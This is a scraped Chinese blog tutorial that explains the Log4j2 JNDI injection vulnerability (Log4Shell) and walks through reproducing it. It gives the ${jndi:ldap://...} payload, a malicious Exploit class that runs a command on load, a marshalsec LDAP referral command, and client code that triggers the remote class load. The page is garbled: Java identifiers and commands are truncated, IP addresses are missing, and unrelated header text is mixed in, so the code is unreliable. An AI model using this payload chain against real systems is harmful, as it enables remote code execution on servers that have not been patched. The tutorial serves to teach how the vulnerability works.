net framework 4-jquerytrigger
2023年4月3日发(作者:会声会影x5破解)
log4j2漏洞原理和漏洞环境搭建复现
⽬录
1.背景
部分资源在⽂章最后百度⽹盘
2021年11⽉24⽇,阿⾥云安全团队向Apache官⽅报告了ApacheLog4j2远程代码执⾏漏洞。由于ApacheLog4j2某些功能存在递归解
析功能,攻击者可直接构造恶意请求,触发远程代码执⾏漏洞。漏洞利⽤⽆需特殊配置,经阿⾥云安全团队验证,ApacheStruts2、
ApacheSolr、ApacheDruid、ApacheFlink等均受影响。阿⾥云应急响应中⼼提醒ApacheLog4j2⽤户尽快采取安全措施阻⽌漏洞攻
击。
log4j2远程代码执⾏漏洞主要由于存在JNDI注⼊漏洞,⿊客可以恶意构造特殊数据请求包,触发此漏洞,从⽽成功利⽤此漏洞可以在⽬标
服务器上执⾏任意代码。注意,此漏洞是可以执⾏任意代码,这就很恐怖,相当于⿊客已经攻⼊计算机,可以为所欲为了,就像已经进⼊你
家,想⼲什么,就⼲什么,⽐如运⾏什么程序,植⼊什么病毒,变成他的⾁鸡。
1.1影响版本
Log4j2.x<=2.14.1
2.漏洞原理
我们在很多漏洞复现⽂章看到构造的payload是这样的${jndi:ldap://:1389/Ex},很多时候看不懂为什么要这样构造,最起
码我在学习这个漏洞的时候我是不知道为什么这样构造payload。如果你刚接触安全不久,我相信你也会有这样的疑惑,那么下⾯我就⽤我
的理解解释⼀下,⼤家参考,不⼀定全部都是对的。
2.1JNDI是什么
JNDI全称是JavaNamingandDirectoryInterface(java命名和⽬录接⼝)JNDI是Java平台的⼀个标准扩展,提供了⼀组接⼝、类和关于
命名空间的概念。如同其它很多Java技术⼀样,JDNI是provider-based的技术,暴露了⼀个API和⼀个服务供应接⼝(SPI)。这意味着任
何基于名字的技术都能通过JNDI⽽提供服务,只要JNDI⽀持这项技术。JNDI⽬前所⽀持的技术包括LDAP、CORBACommonObject
Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。
我简单说⼀下它就像⼀个映射关系库,⾥⾯有很多资源,每个资源对应⼀个名字,当我查看这个名字时候,就会提供对应资源。将资源和名
字进⾏了⼀对⼀映射。⼀些基本操作,发布服务bind(),查找服务lookup()。
2.2LDAP是什么
LDAP全称是LightweightDirectoryAccessProtocol(轻型⽬录访问协议),LDAP可以理解是⼀个简单存储数据的数据库,不过它是树
状结构的,树形结构存储数据,查询效率更⾼。如果你想找到⼀个苹果,需要跟园丁说那个树,经过那些分叉以及苹果名字。有的时候分叉
不⽌⼀个。
树(dc=ljheee)
分叉(ou=bei,ou=xi,ou=dong)
苹果(cn=redApple)
LDAP有⼀个客户端和服务器端,server端是⽤来存放资源,client端主要⽤于查询等操作。服务端都是有各⼤⼚商的产品的⽐如
Microsoft的AD,当然可以⾃⼰做。我们通过LDAP协议去访问。
所以上述的payload${jndi:ldap://:1389/Ex}就相当于ldap通过jndi来提供服务。这个是你LDAP服务器
端的IP地址,LDAP服务器是默认开启1389端⼝的,EX是⼀个不存在的⽂件名
2.3JNDI注⼊原因
第⼀个是由于JNDI的动态协议转换,即使初始化的context指定了协议,也会根据URL传⼊的参数来转换协议。
其实就是说即使提前配置了ER_URL属性,当我们调⽤lookup()⽅法时,如果lookup⽅法的参数是⼀个url地址,那么客
户端就会去lookup()⽅法参数指定的uri中加载远程对象,⽽不是去ER_URL设置的地址去加载对象。
正是因为有这个特性,才导致当lookup()⽅法的参数可控时,攻击者可以通过提供⼀个恶意的url地址来控制受害者加载攻击者指定的恶意
类。
第⼆个是由于JNDINamingReference,Reference类表⽰对存在于命名/⽬录系统以外的对象的引⽤。如果远程获取LDAP服务上的对
象为Reference类或者其⼦类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载class⽂件来进⾏实例化。
其实可以简单理解为我这LDAP存储空间有限,我把多余的数据放在我的⼀个web⽹站⾥⾯,可以通过url地址进⾏引⽤,查询的数据如果我
⾃⼰数据库⾥⾯没有,我就会⾃动去我这个指定的地址在web⽹站查找指定资源。
2.4log4j2是什么
ApacheLog4j2是⼀个基于Java的⽇志记录⼯具,该⼯具重写了Log4j框架,并且引⼊了⼤量丰富的特性,Apachelog4j2是Log4j的升
级版,这个⽇志框架被⼤量⽤于业务系统开发,⽤来记录⽇志信息。在⼤多数情况下,开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志
中,以便开发⼈员记录原因。
不知道说到这个地⽅有没有懂这个payload的原因,当我们在任何输⼊框⾥⾯输⼊这个payload,那么log4j2就会将我们的输⼊的信息记录
到⽇志中,在记录⽇志的时候会间接的调⽤log4j2的MessagePatternConverter组件中的format⽅法。该⽅法会截取美元符和花括号
之间的字符串,将该字符作为查找对象的条件。如果字符是jndi:ldap这样的协议格式则进⾏jndi⽅式的ldap调⽤。通过JNDI这个接⼝传
⼊⼀个可控参数,因为JNDI动态协议转换,所以我们传⼊ldap协议,就会⾃动换成这个协议,然后调⽤lookup去LDAP服务器端去获取⼀
个不存在的资源,因为这个资源不存在,且⽀持JNDINamingReference,那么LDAP就会去他指定的⼀个url去动态加载。如果加载的这
个资源⾥⾯包含⽆参构造函数或者静态⽅法那么代码就会被执⾏。
3.漏洞复现
3.1准备⼯作
3.1.1准备恶意代码
准备⼀个编译好的恶意代码,java代码都需要编译的,代码⾥⾯有⽆参函数或者静态⽅法,因为我们需要代码能够执⾏,代码如下,将编译
好的⽂件放到你的⽹站⽬录下
publicclassExploit{
static{
try{
n("执⾏漏洞代码1");
Stringcmd="calc";
time().exec(cmd);
n("执⾏漏洞代码2");
}catch(Exceptione){
tackTrace();
}
}
publicstaticvoidmain(String[]args){
newExploit();
}
}
#恶意的Exploit代码,功能打开电脑的计算器。
3.1.2将恶意代码放到⽹站⽬录下
这⾥以我⾃⼰为例我是直接放在我的服务器端的,也可以在虚拟机或者物理机开启http服务。然后通过python3去开启⼀个http服务。你需
要⾃⼰去下载python3,然后配置环境,⾃⼰去⽹上找教程。默认端⼝是8000,这个可以⾃⼰改。
3.1.3LDAP服务器端
这⾥我是直接⽤的marshalsec,⾃⼰去百度如何下载安装配置,它可以很容易让我们搭建⼀个LDAP服务器端,命令如下
fServer"http://127.0.0.1:8000/#Exploit"
#当查询资源不存在就去http://127.0.0.1:8000/#Exploit这个地址访问Exploit
因为我的恶意代码和我的LDAP服务端都安装在我的服务器所以地址是127.0.0.1,如果不在⼀起对应的地址是你开启http服务的IP地址。代
码需要进⼊到marshalsec/target下⾯去执⾏。这样就会监听1389端⼝,因为LDAP默认是1389端⼝访问。
3.1.4客户端搭建
⾸先需要下载⼀个IDEA软件,它是运⾏java代码,⾃⼰去找教程,jdk最好是⼩于1.8.191的,可以新建java项⽬,会⾃动出现⽂
件,在⾥⾯引⼊log4j2依赖包,不会使⽤IDEA就找度娘,代码如下
客户端代码
;
ager;
publicclasslog4jRCE{
privatestaticfinalLoggerlogger=ger();
publicstaticvoidmain(String[]args){
perty("RLCodebase","true");
("${jndi:ldap://.x:1389/Ex}");
}
}
3.1.5执⾏代码
在这个⽂件右击点击运⾏,就会弹出计算器。漏洞成功复现
4.注意事项
不同的JDK对于RLCodebase的默认值不⼀样,所以为了测试统⼀设置成true便于触发。
不同的JDK版本的默认值可能导致这个bug不会被触发。
这⾥解释⼀下为什么搭建LDAP服务最好在服务器,因为在现实⽣活中,⽬标机是没有办法和我们攻击相通的⼤家都在⼀个不同局域⽹,但
是⼀般可以访问公⽹的。所以需要将东西搭建的公⽹上。这样当我们在输⼊框输⼊我们的payload就可以实现攻击。
⼤家可以在我的log4j2百度⽹盘⾥⾯有⼀些资源,如果你客户端不会⾃⼰弄,⾃⼰下载log4j-rec⽂件打开就⾏。
更多推荐
apache log4j2
发布评论